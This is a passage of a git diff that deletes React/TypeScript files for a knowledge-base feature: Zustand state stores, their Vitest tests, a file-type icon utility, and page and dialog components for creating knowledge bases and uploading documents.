-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-            const chunkWithNullContent = {...mockChunk, content: null};
-
-            act(() => {
-                result.current.setChunk(chunkWithNullContent);
-            });
-
-            expect(result.current.content).toBe('');
-        });
-    });
-
-    describe('setContent', () => {
-        it('updates content', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-            act(() => {
-                result.current.setContent('New content');
-            });
-
-            expect(result.current.content).toBe('New content');
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('resets chunk and content', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-            act(() => {
-                result.current.setChunk(mockChunk);
-            });
-
-            act(() => {
-                result.current.clearDialog();
-            });
-
-            expect(result.current.chunk).toBeNull();
-            expect(result.current.content).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkSelectionStore.test.ts b/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkSelectionStore.test.ts
deleted file mode 100644
index c2455fed8f1..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkSelectionStore.test.ts
+++ /dev/null
@@ -1,87 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useKnowledgeBaseDocumentChunkSelectionStore} from '../useKnowledgeBaseDocumentChunkSelectionStore';
-
-describe('useKnowledgeBaseDocumentChunkSelectionStore', () => {
-    beforeEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-        act(() => {
-            result.current.clearSelection();
-        });
-    });
-
-    afterEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-        act(() => {
-            result.current.clearSelection();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has empty selectedChunks array', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-            expect(result.current.selectedChunks).toEqual([]);
-        });
-    });
-
-    describe('toggleChunkSelection', () => {
-        it('adds chunk to selection when not selected', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-            act(() => {
-                result.current.toggleChunkSelection('chunk-1');
-            });
-
-            expect(result.current.selectedChunks).toContain('chunk-1');
-        });
-
-        it('removes chunk from selection when already selected', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-            act(() => {
-                result.current.toggleChunkSelection('chunk-1');
-            });
-
-            act(() => {
-                result.current.toggleChunkSelection('chunk-1');
-            });
-
-            expect(result.current.selectedChunks).not.toContain('chunk-1');
-        });
-
-        it('can select multiple chunks', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-            act(() => {
-                result.current.toggleChunkSelection('chunk-1');
-            });
-
-            act(() => {
-                result.current.toggleChunkSelection('chunk-2');
-            });
-
-            expect(result.current.selectedChunks).toEqual(['chunk-1', 'chunk-2']);
-        });
-    });
-
-    describe('clearSelection', () => {
-        it('clears all selected chunks', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkSelectionStore());
-
-            act(() => {
-                result.current.toggleChunkSelection('chunk-1');
-                result.current.toggleChunkSelection('chunk-2');
-            });
-
-            act(() => {
-                result.current.clearSelection();
-            });
-
-            expect(result.current.selectedChunks).toEqual([]);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentDeleteDialogStore.test.ts b/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentDeleteDialogStore.test.ts
deleted file mode 100644
index b0d289a2151..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentDeleteDialogStore.test.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useKnowledgeBaseDocumentDeleteDialogStore} from '../useKnowledgeBaseDocumentDeleteDialogStore';
-
-describe('useKnowledgeBaseDocumentDeleteDialogStore', () => {
-    beforeEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentDeleteDialogStore());
-
-        act(() => {
-            result.current.clearDialog();
-        });
-    });
-
-    afterEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentDeleteDialogStore());
-
-        act(() => {
-            result.current.clearDialog();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has null documentId', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentDeleteDialogStore());
-
-            expect(result.current.documentId).toBeNull();
-        });
-    });
-
-    describe('setDocumentId', () => {
-        it('sets document id', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentDeleteDialogStore());
-
-            act(() => {
-                result.current.setDocumentId('doc-1');
-            });
-
-            expect(result.current.documentId).toBe('doc-1');
-        });
-
-        it('replaces existing document id', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentDeleteDialogStore());
-
-            act(() => {
-                result.current.setDocumentId('doc-1');
-            });
-
-            act(() => {
-                result.current.setDocumentId('doc-2');
-            });
-
-            expect(result.current.documentId).toBe('doc-2');
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('clears document id', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentDeleteDialogStore());
-
-            act(() => {
-                result.current.setDocumentId('doc-1');
-            });
-
-            act(() => {
-                result.current.clearDialog();
-            });
-
-            expect(result.current.documentId).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore.ts b/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore.ts
deleted file mode 100644
index 368354d4489..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore.ts
+++ /dev/null
@@ -1,31 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface KnowledgeBaseDocumentChunkDeleteDialogStateI {
-    chunkIdsToDelete: string[];
-    clearDialog: () => void;
-    setChunkIdsToDelete: (chunkIds: string[]) => void;
-}
-
-export const useKnowledgeBaseDocumentChunkDeleteDialogStore = create<KnowledgeBaseDocumentChunkDeleteDialogStateI>()(
-    devtools(
-        (set) => ({
-            chunkIdsToDelete: [],
-
-            clearDialog: () => {
-                set(() => ({
-                    chunkIdsToDelete: [],
-                }));
-            },
-
-            setChunkIdsToDelete: (chunkIds: string[]) => {
-                set(() => ({
-                    chunkIdsToDelete: chunkIds,
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.knowledge-base-document-chunk-delete-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore.ts b/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore.ts
deleted file mode 100644
index 3f225a43605..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore.ts
+++ /dev/null
@@ -1,42 +0,0 @@
-import {KnowledgeBaseDocumentChunk} from '@/shared/middleware/graphql';
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface KnowledgeBaseDocumentChunkEditDialogStateI {
-    chunk: KnowledgeBaseDocumentChunk | null;
-    clearDialog: () => void;
-    content: string;
-    setChunk: (chunk: KnowledgeBaseDocumentChunk) => void;
-    setContent: (content: string) => void;
-}
-
-export const useKnowledgeBaseDocumentChunkEditDialogStore = create<KnowledgeBaseDocumentChunkEditDialogStateI>()(
-    devtools(
-        (set) => ({
-            chunk: null,
-
-            clearDialog: () => {
-                set(() => ({
-                    chunk: null,
-                    content: '',
-                }));
-            },
-
-            content: '',
-
-            setChunk: (chunk: KnowledgeBaseDocumentChunk) => {
-                set(() => ({
-                    chunk,
-                    content: chunk.content ?? '',
-                }));
-            },
-
-            setContent: (content: string) => {
-                set(() => ({content}));
-            },
-        }),
-        {
-            name: 'bytechef.knowledge-base-document-chunk-edit-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore.ts b/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore.ts
deleted file mode 100644
index e1666e47daa..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore.ts
+++ /dev/null
@@ -1,33 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface KnowledgeBaseDocumentChunkSelectionStateI {
-    clearSelection: () => void;
-    selectedChunks: string[];
-    toggleChunkSelection: (chunkId: string) => void;
-}
-
-export const useKnowledgeBaseDocumentChunkSelectionStore = create<KnowledgeBaseDocumentChunkSelectionStateI>()(
-    devtools(
-        (set) => ({
-            clearSelection: () => {
-                set(() => ({
-                    selectedChunks: [],
-                }));
-            },
-
-            selectedChunks: [],
-
-            toggleChunkSelection: (chunkId: string) => {
-                set((state) => ({
-                    selectedChunks: state.selectedChunks.includes(chunkId)
-                        ? state.selectedChunks.filter((id) => id !== chunkId)
-                        : [...state.selectedChunks, chunkId],
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.knowledge-base-document-chunk-selection',
-        }
-    )
-);
diff --git a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore.ts b/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore.ts
deleted file mode 100644
index 0fd85549d81..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore.ts
+++ /dev/null
@@ -1,31 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface KnowledgeBaseDocumentDeleteDialogStateI {
-    clearDialog: () => void;
-    documentId: string | null;
-    setDocumentId: (documentId: string) => void;
-}
-
-export const useKnowledgeBaseDocumentDeleteDialogStore = create<KnowledgeBaseDocumentDeleteDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearDialog: () => {
-                set(() => ({
-                    documentId: null,
-                }));
-            },
-
-            documentId: null,
-
-            setDocumentId: (documentId: string) => {
-                set(() => ({
-                    documentId,
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.knowledge-base-document-delete-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/automation/knowledge-base/tests/KnowledgeBase.test.tsx b/client/src/pages/automation/knowledge-base/tests/KnowledgeBase.test.tsx
deleted file mode 100644
index dd902fb0910..00000000000
--- a/client/src/pages/automation/knowledge-base/tests/KnowledgeBase.test.tsx
+++ /dev/null
@@ -1,188 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBase from '../KnowledgeBase';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseKnowledgeBase: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBase', () => ({
-    default: hoisted.mockUseKnowledgeBase,
-}));
-
-vi.mock('@/components/PageLoader', () => ({
-    default: ({children, errors, loading}: {children: React.ReactNode; errors: unknown[]; loading: boolean}) =>
-        loading ? (
-            <div data-testid="page-loader-loading">Loading...</div>
-        ) : errors.filter(Boolean).length > 0 ? (
-            <div data-testid="page-loader-error">Error</div>
-        ) : (
-            <div data-testid="page-loader-content">{children}</div>
-        ),
-}));
-
-vi.mock('../components/KnowledgeBaseHeader', () => ({
-    default: ({knowledgeBaseName}: {knowledgeBaseName?: string; onBackClick: () => void}) => (
-        <header data-testid="knowledge-base-header">{knowledgeBaseName || 'Loading...'}</header>
-    ),
-}));
-
-vi.mock('../components/KnowledgeBaseInfoCard', () => ({
-    default: ({knowledgeBase}: {knowledgeBase: {name: string}}) => (
-        <div data-testid="knowledge-base-info-card">{knowledgeBase.name}</div>
-    ),
-}));
-
-vi.mock('../components/KnowledgeBaseLeftSidebarNav', () => ({
-    default: () => <nav data-testid="knowledge-base-left-sidebar">Sidebar</nav>,
-}));
-
-vi.mock('../components/KnowledgeBaseTabs', () => ({
-    default: ({documents, knowledgeBaseId}: {documents: unknown[]; knowledgeBaseId: string}) => (
-        <div data-testid="knowledge-base-tabs">
-            Tabs for {knowledgeBaseId} ({documents.length} docs)
-        </div>
-    ),
-}));
-
-vi.mock('@/shared/layout/Header', () => ({
-    default: ({title}: {position?: string; title: string}) => <header data-testid="sidebar-header">{title}</header>,
-}));
-
-vi.mock('@/shared/layout/LayoutContainer', () => ({
-    default: ({
-        children,
-        header,
-        leftSidebarBody,
-        leftSidebarHeader,
-    }: {
-        children: React.ReactNode;
-        header: React.ReactNode;
-        leftSidebarBody: React.ReactNode;
-        leftSidebarHeader: React.ReactNode;
-        leftSidebarWidth: string;
-    }) => (
-        <div data-testid="layout-container">
-            <div data-testid="layout-header">{header}</div>
-
-            <div data-testid="layout-sidebar-header">{leftSidebarHeader}</div>
-
-            <div data-testid="layout-sidebar-body">{leftSidebarBody}</div>
-
-            <div data-testid="layout-content">{children}</div>
-        </div>
-    ),
-}));
-
-const mockKnowledgeBase = {
-    description: 'Test description',
-    documents: [
-        {id: 'doc-1', name: 'Document 1'},
-        {id: 'doc-2', name: 'Document 2'},
-    ],
-    id: 'kb-1',
-    maxChunkSize: 1024,
-    minChunkSizeChars: 1,
-    name: 'Test KB',
-    overlap: 200,
-};
-
-const defaultMockReturn = {
-    documents: mockKnowledgeBase.documents,
-    error: null,
-    handleBackClick: vi.fn(),
-    isLoading: false,
-    knowledgeBase: mockKnowledgeBase,
-    knowledgeBaseId: 'kb-1',
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBase.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBase', () => {
-    it('renders layout container', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('layout-container')).toBeInTheDocument();
-    });
-
-    it('renders header with knowledge base name', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('knowledge-base-header')).toHaveTextContent('Test KB');
-    });
-
-    it('renders sidebar header', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('sidebar-header')).toHaveTextContent('Knowledge Base');
-    });
-
-    it('renders left sidebar nav', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('knowledge-base-left-sidebar')).toBeInTheDocument();
-    });
-
-    it('shows loading state', () => {
-        hoisted.mockUseKnowledgeBase.mockReturnValue({
-            ...defaultMockReturn,
-            isLoading: true,
-        });
-
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('page-loader-loading')).toBeInTheDocument();
-    });
-
-    it('shows error state', () => {
-        hoisted.mockUseKnowledgeBase.mockReturnValue({
-            ...defaultMockReturn,
-            error: new Error('Test error'),
-        });
-
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('page-loader-error')).toBeInTheDocument();
-    });
-
-    it('renders knowledge base info card when loaded', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('knowledge-base-info-card')).toBeInTheDocument();
-    });
-
-    it('renders knowledge base tabs when loaded', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('knowledge-base-tabs')).toBeInTheDocument();
-    });
-
-    it('passes correct props to tabs', () => {
-        render(<KnowledgeBase />);
-
-        expect(screen.getByTestId('knowledge-base-tabs')).toHaveTextContent('Tabs for kb-1 (2 docs)');
-    });
-
-    it('does not render content when knowledge base is undefined', () => {
-        hoisted.mockUseKnowledgeBase.mockReturnValue({
-            ...defaultMockReturn,
-            knowledgeBase: undefined,
-        });
-
-        render(<KnowledgeBase />);
-
-        expect(screen.queryByTestId('knowledge-base-info-card')).not.toBeInTheDocument();
-        expect(screen.queryByTestId('knowledge-base-tabs')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/util/knowledge-base-utils.tsx b/client/src/pages/automation/knowledge-base/util/knowledge-base-utils.tsx
deleted file mode 100644
index c9af8171b15..00000000000
--- a/client/src/pages/automation/knowledge-base/util/knowledge-base-utils.tsx
+++ /dev/null
@@ -1,142 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import {
-    FileCodeIcon,
-    FileIcon,
-    FileImageIcon,
-    FileSpreadsheetIcon,
-    FileTextIcon,
-    FileTypeIcon,
-    LoaderCircleIcon,
-    PresentationIcon,
-} from 'lucide-react';
-
-export const STATUS_UPLOADED = 0;
-export const STATUS_PROCESSING = 1;
-export const STATUS_READY = 2;
-export const STATUS_ERROR = 3;
-
-export const getStatusLabel = (status: number): string => {
-    switch (status) {
-        case STATUS_UPLOADED:
-            return 'Uploaded';
-        case STATUS_PROCESSING:
-            return 'Processing';
-        case STATUS_READY:
-            return 'Ready';
-        case STATUS_ERROR:
-            return 'Error';
-        default:
-            return 'Unknown';
-    }
-};
-
-type DocumentType = 'image' | 'pdf' | 'word' | 'spreadsheet' | 'presentation' | 'code' | 'text' | 'unknown';
-
-const getDocumentType = (extension?: string, mimeType?: string): DocumentType => {
-    const ext = extension?.toLowerCase() || '';
-    const mime = mimeType?.toLowerCase() || '';
-
-    const isImage =
-        mime.startsWith('image/') || ['png', 'jpg', 'jpeg', 'gif', 'svg', 'webp', 'bmp', 'ico'].includes(ext);
-    const isPdf = mime === 'application/pdf' || ext === 'pdf';
-    const isWord = mime.includes('msword') || mime.includes('wordprocessingml') || ['doc', 'docx', 'odt'].includes(ext);
-    const isSpreadsheet =
-        mime.includes('spreadsheetml') || mime.includes('ms-excel') || ['xls', 'xlsx', 'csv', 'ods'].includes(ext);
-    const isPresentation =
-        mime.includes('presentationml') || mime.includes('ms-powerpoint') || ['ppt', 'pptx', 'odp'].includes(ext);
-    const isCode =
-        mime.includes('javascript') ||
-        mime.includes('typescript') ||
-        mime.includes('json') ||
-        mime.includes('xml') ||
-        mime.includes('html') ||
-        ['js', 'ts', 'jsx', 'tsx', 'json', 'xml', 'html', 'css', 'py', 'java', 'rb', 'go', 'rs'].includes(ext);
-    const isText = mime.startsWith('text/') || ['txt', 'md', 'rtf'].includes(ext);
-
-    if (isImage) {
-        return 'image';
-    }
-
-    if (isPdf) {
-        return 'pdf';
-    }
-
-    if (isWord) {
-        return 'word';
-    }
-
-    if (isSpreadsheet) {
-        return 'spreadsheet';
-    }
-
-    if (isPresentation) {
-        return 'presentation';
-    }
-
-    if (isCode) {
-        return 'code';
-    }
-
-    if (isText) {
-        return 'text';
-    }
-
-    return 'unknown';
-};
-
-export const getDocumentIcon = (extension?: string, mimeType?: string) => {
-    const documentType = getDocumentType(extension, mimeType);
-
-    switch (documentType) {
-        case 'image':
-            return <FileImageIcon className="size-5 text-content-success-primary" />;
-        case 'pdf':
-            return <FileTextIcon className="size-5 text-content-destructive-primary" />;
-        case 'word':
-            return <FileTypeIcon className="size-5 text-content-brand-primary" />;
-        case 'spreadsheet':
-            return <FileSpreadsheetIcon className="size-5 text-content-success-primary" />;
-        case 'presentation':
-            return <PresentationIcon className="size-5 text-content-warning-primary" />;
-        case 'code':
-            return <FileCodeIcon className="size-5 text-content-brand-secondary" />;
-        case 'text':
-            return <FileTextIcon className="size-5 text-muted-foreground" />;
-        default:
-            return <FileIcon className="size-5 text-muted-foreground" />;
-    }
-};
-
-export const getStatusBadge = (status: number) => {
-    const statusLabel = getStatusLabel(status);
-
-    switch (status) {
-        case STATUS_READY:
-            return (
-                <Badge styleType="success-outline" weight="semibold">
-                    {statusLabel}
-                </Badge>
-            );
-        case STATUS_UPLOADED:
-        case STATUS_PROCESSING:
-            return (
-                <Badge styleType="secondary-filled" weight="semibold">
-                    <LoaderCircleIcon className="size-3 animate-spin" />
-
-                    {statusLabel}
-                </Badge>
-            );
-        case STATUS_ERROR:
-            return (
-                <Badge styleType="destructive-outline" weight="semibold">
-                    {statusLabel}
-                </Badge>
-            );
-        default:
-            return (
-                <Badge styleType="secondary-filled" weight="semibold">
-                    {statusLabel}
-                </Badge>
-            );
-    }
-};
diff --git a/client/src/pages/automation/knowledge-bases/KnowledgeBases.tsx b/client/src/pages/automation/knowledge-bases/KnowledgeBases.tsx
deleted file mode 100644
index 0c755bae668..00000000000
--- a/client/src/pages/automation/knowledge-bases/KnowledgeBases.tsx
+++ /dev/null
@@ -1,75 +0,0 @@
-import Button from '@/components/Button/Button';
-import EmptyList from '@/components/EmptyList';
-import PageLoader from '@/components/PageLoader';
-import CreateKnowledgeBaseDialog from '@/pages/automation/knowledge-bases/components/CreateKnowledgeBaseDialog';
-import KnowledgeBasesFilterTitle from '@/pages/automation/knowledge-bases/components/KnowledgeBasesFilterTitle';
-import KnowledgeBasesLeftSidebarNav from '@/pages/automation/knowledge-bases/components/KnowledgeBasesLeftSidebarNav';
-import useKnowledgeBases from '@/pages/automation/knowledge-bases/components/hooks/useKnowledgeBases';
-import KnowledgeBaseList from '@/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseList';
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import Header from '@/shared/layout/Header';
-import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {DatabaseIcon} from 'lucide-react';
-
-const KnowledgeBases = () => {
-    const currentWorkspaceId = String(useWorkspaceStore((state) => state.currentWorkspaceId));
-
-    const {allTags, error, filteredKnowledgeBases, isLoading, knowledgeBases, tagId, tagsByKnowledgeBaseData} =
-        useKnowledgeBases();
-
-    return (
-        <LayoutContainer
-            header={
-                knowledgeBases.length > 0 && (
-                    <Header
-                        centerTitle={true}
-                        position="main"
-                        right={
-                            <CreateKnowledgeBaseDialog
-                                trigger={<Button>New Knowledge Base</Button>}
-                                workspaceId={currentWorkspaceId}
-                            />
-                        }
-                        title={
-                            <KnowledgeBasesFilterTitle
-                                allTags={allTags}
-                                tagsByKnowledgeBaseData={tagsByKnowledgeBaseData}
-                            />
-                        }
-                    />
-                )
-            }
-            leftSidebarBody={<KnowledgeBasesLeftSidebarNav />}
-            leftSidebarHeader={<Header position="sidebar" title="Knowledge Base" />}
-            leftSidebarWidth="64"
-        >
-            <PageLoader errors={[error]} loading={isLoading}>
-                {filteredKnowledgeBases.length > 0 ? (
-                    <KnowledgeBaseList
-                        allTags={allTags}
-                        knowledgeBases={filteredKnowledgeBases}
-                        tagsByKnowledgeBaseData={tagsByKnowledgeBaseData}
-                    />
-                ) : (
-                    <EmptyList
-                        button={
-                            <CreateKnowledgeBaseDialog
-                                trigger={<Button>Create Knowledge Base</Button>}
-                                workspaceId={currentWorkspaceId}
-                            />
-                        }
-                        icon={<DatabaseIcon className="size-24 text-gray-300" />}
-                        message={
-                            tagId
-                                ? 'No knowledge bases match the selected tag.'
-                                : 'Get started by creating a new knowledge base.'
-                        }
-                        title={tagId ? 'No Matching Knowledge Bases' : 'No Knowledge Bases'}
-                    />
-                )}
-            </PageLoader>
-        </LayoutContainer>
-    );
-};
-
-export default KnowledgeBases;
diff --git a/client/src/pages/automation/knowledge-bases/components/CreateKnowledgeBaseDialog.tsx b/client/src/pages/automation/knowledge-bases/components/CreateKnowledgeBaseDialog.tsx
deleted file mode 100644
index a7c7ce62017..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/CreateKnowledgeBaseDialog.tsx
+++ /dev/null
@@ -1,247 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-    DialogTrigger,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {Textarea} from '@/components/ui/textarea';
-import useCreateKnowledgeBaseDialog from '@/pages/automation/knowledge-bases/components/hooks/useCreateKnowledgeBaseDialog';
-import {cn} from '@/shared/util/cn-utils';
-import {Loader2, X} from 'lucide-react';
-import {ReactNode} from 'react';
-
-interface CreateKnowledgeBaseDialogProps {
-    trigger?: ReactNode;
-    workspaceId: string;
-}
-
-const CreateKnowledgeBaseDialog = ({trigger, workspaceId}: CreateKnowledgeBaseDialogProps) => {
-    const {
-        canSubmit,
-        createMutation,
-        description,
-        formatFileSize,
-        handleFileChange,
-        handleOpenChange,
-        handleSubmit,
-        maxChunkSize,
-        minChunkSizeChars,
-        name,
-        open,
-        overlapSize,
-        removeFile,
-        selectedFiles,
-        setDescription,
-        setMaxChunkSize,
-        setMinChunkSizeChars,
-        setName,
-        setOpen,
-        setOverlapSize,
-        uploading,
-    } = useCreateKnowledgeBaseDialog({workspaceId});
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogTrigger asChild>{trigger ?? <Button>Create Knowledge Base</Button>}</DialogTrigger>
-
-            <DialogContent className="sm:max-w-[600px]">
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Create Knowledge Base</DialogTitle>
-
-                        <DialogDescription>
-                            Configure chunking settings and optionally upload initial documents.
-                        </DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-4 py-4">
-                    <div className="space-y-2">
-                        <Label htmlFor="name">Name</Label>
-
-                        <Input
-                            disabled={uploading}
-                            id="name"
-                            onChange={(e) => setName(e.target.value)}
-                            placeholder="New KB"
-                            value={name}
-                        />
-                    </div>
-
-                    <div className="space-y-2">
-                        <Label htmlFor="description">Description</Label>
-
-                        <Textarea
-                            disabled={uploading}
-                            id="description"
-                            onChange={(e) => setDescription(e.target.value)}
-                            placeholder="Describe this knowledge base (optional)"
-                            value={description}
-                        />
-                    </div>
-
-                    <div className="grid grid-cols-2 gap-4">
-                        <div className="space-y-2">
-                            <Label htmlFor="minChunkSizeChars">Min Chunk Size (characters)</Label>
-
-                            <Input
-                                disabled={uploading}
-                                id="minChunkSizeChars"
-                                onChange={(e) => setMinChunkSizeChars(e.target.value)}
-                                type="number"
-                                value={minChunkSizeChars}
-                            />
-                        </div>
-
-                        <div className="space-y-2">
-                            <Label htmlFor="maxChunkSize">Max Chunk Size (tokens)</Label>
-
-                            <Input
-                                disabled={uploading}
-                                id="maxChunkSize"
-                                onChange={(e) => setMaxChunkSize(e.target.value)}
-                                type="number"
-                                value={maxChunkSize}
-                            />
-                        </div>
-                    </div>
-
-                    <div className="space-y-2">
-                        <Label htmlFor="overlapSize">Overlap Size (tokens)</Label>
-
-                        <Input
-                            disabled={uploading}
-                            id="overlapSize"
-                            onChange={(e) => setOverlapSize(e.target.value)}
-                            type="number"
-                            value={overlapSize}
-                        />
-                    </div>
-
-                    <div className="space-y-2">
-                        <Label>Upload Documents</Label>
-
-                        <div
-                            className={cn(
-                                'flex flex-col items-center justify-center rounded-lg border-2 border-dashed border-gray-300 p-6',
-                                uploading ? 'cursor-not-allowed opacity-50' : 'cursor-pointer hover:bg-gray-50'
-                            )}
-                            onClick={() => !uploading && document.getElementById('file-upload')?.click()}
-                        >
-                            <p className="text-sm text-gray-600">Drop files here or click to browse</p>
-
-                            <p className="mt-1 text-xs text-gray-400">
-                                Supported: PDF, DOC, DOCX, TXT, CSV, XLS, XLSX, MD, PPT, PPTX, HTML
-                            </p>
-
-                            <input
-                                accept=".pdf,.doc,.docx,.txt,.csv,.xls,.xlsx,.md,.ppt,.pptx,.html,.htm"
-                                className="hidden"
-                                disabled={uploading}
-                                id="file-upload"
-                                multiple
-                                onChange={handleFileChange}
-                                type="file"
-                            />
-                        </div>
-                    </div>
-
-                    {selectedFiles.length > 0 && (
-                        <div className="space-y-2">
-                            <Label>Selected Files</Label>
-
-                            <div className="max-h-[200px] space-y-2 overflow-y-auto">
-                                {selectedFiles.map((file, idx) => (
-                                    <div
-                                        className="flex items-center justify-between rounded-md border border-gray-200 bg-gray-50 p-2 px-3"
-                                        key={idx}
-                                    >
-                                        <div className="flex flex-1 items-center space-x-2 overflow-hidden">
-                                            <span className="truncate text-sm font-medium">{file.file.name}</span>
-
-                                            <span className="text-xs text-gray-400">
-                                                {formatFileSize(file.file.size)}
-                                            </span>
-                                        </div>
-
-                                        <div className="ml-2 flex items-center space-x-2">
-                                            {(file.status === 'uploading' || file.status === 'processing') && (
-                                                <div className="flex items-center space-x-2">
-                                                    <span className="text-xs text-gray-400">
-                                                        {file.status === 'uploading' ? 'Uploading...' : 'Processing...'}
-                                                    </span>
-
-                                                    <Loader2 className="h-4 w-4 animate-spin text-gray-400" />
-                                                </div>
-                                            )}
-
-                                            {file.status === 'completed' && (
-                                                <div className="flex h-4 w-4 items-center justify-center rounded-full bg-green-500">
-                                                    <svg
-                                                        className="h-3 w-3 text-white"
-                                                        fill="none"
-                                                        stroke="currentColor"
-                                                        viewBox="0 0 24 24"
-                                                    >
-                                                        <path
-                                                            d="M5 13l4 4L19 7"
-                                                            strokeLinecap="round"
-                                                            strokeLinejoin="round"
-                                                            strokeWidth="2"
-                                                        />
-                                                    </svg>
-                                                </div>
-                                            )}
-
-                                            {file.status === 'error' && (
-                                                <div className="flex items-center space-x-2">
-                                                    <span className="text-xs text-red-500">
-                                                        {file.statusMessage || 'Error'}
-                                                    </span>
-                                                </div>
-                                            )}
-
-                                            {!uploading && (
-                                                <button
-                                                    className="rounded-full p-1 hover:bg-gray-200"
-                                                    onClick={() => removeFile(idx)}
-                                                >
-                                                    <X className="h-4 w-4 text-gray-500" />
-                                                </button>
-                                            )}
-                                        </div>
-                                    </div>
-                                ))}
-                            </div>
-                        </div>
-                    )}
-                </div>
-
-                <DialogFooter>
